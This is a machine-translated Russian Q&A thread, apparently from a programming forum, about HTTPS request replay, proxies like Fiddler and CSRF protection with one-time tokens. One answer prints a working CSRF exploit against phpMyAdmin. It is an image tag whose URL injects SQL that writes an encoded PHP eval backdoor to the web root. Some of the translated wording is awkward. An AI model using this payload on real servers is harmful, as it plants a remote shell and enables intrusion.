Атаки с повторением пакетов для Запросов HTTPS
Скажем, тестер безопасности использует прокси, говорит Скрипач, и записывает Запрос HTTPS с помощью учетных данных администратора - на воспроизведении всего запроса (включая сессию и подлинные cookie), тестер безопасности может к успешно (ре) рекордные транзакции. Требование состоит в том, что это - знак уязвимости CSRF.
Что злонамеренный пользователь должен был бы сделать, чтобы прервать Запрос HTTPS и воспроизвести его? Это это задача для деточек сценария, хорошо финансируемых военных команд взламывания или посторонней путешествием во времени технологии? Действительно настолько легко записать сессии SSL пользователей и воспроизвести их, прежде чем билеты истекут?
Никакой код в приложении в настоящее время не делает ничего интересного на HTTP, ДОБИРАЮТСЯ, таким образом, AFAIK, обманывая администратора в щелчок на ссылку или загрузку изображения со злонамеренным URL не является проблемой.
5 ответов
HTTPS не поддерживает повторное воспроизведение, первый ответ сервера в последовательности подтверждения включает случайное число, выбранное сервером.
Fiddler действует как прокси, то есть он перехватывает запросы вашего браузера, а затем генерирует идентичный запрос к серверу, что означает, что он имеет доступ к открытому тексту, который он будет воспроизводить. Ваш браузер сообщает вам об этом, сообщая вам, что сертификат получен от Fiddler - «DO_NOT_TRUST_FiddlerRoot», с которым вы должны согласиться, прежде чем он отправит сообщение, игнорирующее несоответствие сертификата.
Вы имеете в виду просто воспроизведение SSL (который не но публично показано, что это возможно) или файлов cookie аутентификации (что зависит от приложения)? Первое указывает на тупую, обнаруженную частным образом уязвимость в SSL (которую вы вряд ли сможете исправить, я мог бы добавить). Последнее, то есть когда произвольная машина может предоставлять файлы cookie для ранее установленного сеанса аутентификации, действительно указывает на потенциально эксплуатируемую CSRF-уязвимость в вашем приложении, которую следует устранить.
Хотя обычно считается, что трафик SSL невозможно перехватить с помощью атаки MTM (при условии, что вы предприняли меры по исправлению уязвимости, обнаруженной в ноябре прошлого года), файл cookie, хранящийся на удаленном компьютере пользователя, не защищен от перехвата. (особенно, если на вашем сайте или любом сайте в том же домене, что и ваш сайт, есть XSS-уязвимость). Такие междоменные эксплойты / эксплойты с двумя уязвимостями становятся все более распространенными, и с точки зрения строгой безопасности уязвимость потенциально может быть использована, даже если не напрямую через ваше приложение.
-- редактирование: Обратите внимание, я ошибаюсь в том, что SSL не обрабатывает атаки повторного воспроизведения, согласно нижеприведенному, он обрабатывает. Реализация маркерного подхода все еще хороша.
Считайте, что "воспроизведение" HTTPS-запроса - это просто возвращение в браузер и повторное нажатие кнопки.
Иными словами, вам не нужно ничего декодировать, чтобы повторно отправить SSL-запрос. Любой узел на пути может это сделать (они просто не видят трафик).
Так что если я перехватываю вашу SSL-транзакцию, посылающую мне 100 долларов, то я могу перехватить ее и повторно отправить, чтобы продолжать получать деньги.
Очевидным решением этой проблемы (ну, типичным решением) является генерация маркера на HTML-странице, а затем сохранение этого же значения в сессии. Когда приходит запрос, вы проверяете это значение, проверяете, что это текущее значение, и если это так, обрабатываете его, а затем изменяете текущее значение.
Если это не текущее значение (т.е. это старое значение после обработки "оригинального" запроса), то вы знаете, что страница была отправлена повторно.
Это обычный подход для предотвращения дублирования данных кредитной карты и т.д., но он также имеет преимущество в плане безопасности, поскольку заставляет уникальный запрос соответствовать каждому ответу. Атакующий в цепи, не умеющий расшифровывать SSL, не сможет пройти мимо этого.
То, что вы описываете, не является CSRF-уязвимостью. HTTPS специально защищает от атак повторного воспроизведения необработанного шифрованного текста и не позволяет злоумышленнику узнать содержимое запроса.
Важно отметить, что HTTPS не защищает от CSRF. Если злоумышленник знает, какими должны быть переменные GET/POST, он может создать вредоносный html, который, будучи выполненным целью, выполнит желаемое действие. Если веб-приложение не является публичным и атакующий не знает, как выглядит HTTP-запрос, то он не сможет подделать запрос. Например, вот CSRF-эксплойт, который я написал против phpMyAdmin. Я модифицировал этот эксплойт для работы с https, и все, что мне пришлось сделать, это изменить url с http:// на https:// .
<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
Этот эксплойт использует функцию mysql "into outfile" для создания бэкдора. Он работает с no-script, потому что подделывает GET-запрос, и браузер думает, что это изображение, пока не становится слишком поздно.
Насколько я знаю, CSRF - это когда один сайт ссылается на другой сайт и как часть этого ворует учетные данные текущего пользователя. CSRF - это НЕ просто пересылка запросов.
Прокси-сервер - это доверенный сервер пересылки, который не должен вмешиваться в запросы. Это так же просто, как классический человек в средней атаке. Если вы доверяете чему-то промежуточному между вашим подключением к конечной точке, вы находитесь во власти человека посередине.
Чтобы перехватить и воспроизвести HTTPS-запрос (классическая HTTP-атака с воспроизведением), вы должны иметь возможность расшифровать SSL-шифрование трафика AFAIK. Я полагаю, вы не можете этого сделать. Гораздо меньше, достаточно быстро, чтобы быть полезным.
Еще кое-что было бы полезно, но я не уверен, к чему вы здесь ведете.